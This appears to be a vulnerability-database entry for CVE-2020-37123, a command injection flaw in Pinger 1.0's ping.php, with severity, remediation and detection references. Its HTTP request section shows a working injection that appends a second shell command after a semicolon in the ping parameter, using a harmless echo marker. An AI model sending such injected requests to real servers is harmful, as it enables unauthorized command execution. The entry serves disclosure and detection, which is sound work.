🔙 목록으로 돌아가기

CVE-2020-37123: Pinger 1.0 - Remote Code Execution

TitlePinger 1.0 - Remote Code Execution
Authorbswearingen
SeverityCritical
ImpactAn unauthenticated attacker can execute arbitrary system commands on the server.
RemediationRemove Pinger or apply input validation to sanitize the ping and socket parameters.
CVSS Score9.8
EPSS Score0.15187
CVE IDCVE-2020-37123
CWE IDCWE-78
Tags cve cve2020 pinger rce

🔍 Vulnerability Description

Pinger 1.0 contains a remote code execution vulnerability that allows attackers to inject shell commands through the ping and socket parameters. Attackers can exploit the unsanitized input in ping.php to write arbitrary PHP files and execute system commands by appending shell metacharacters.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /ping.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

ping=127.0.0.1;echo+678a1128fa991d48add7c677a8f6b85a

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-37123.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-37123.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A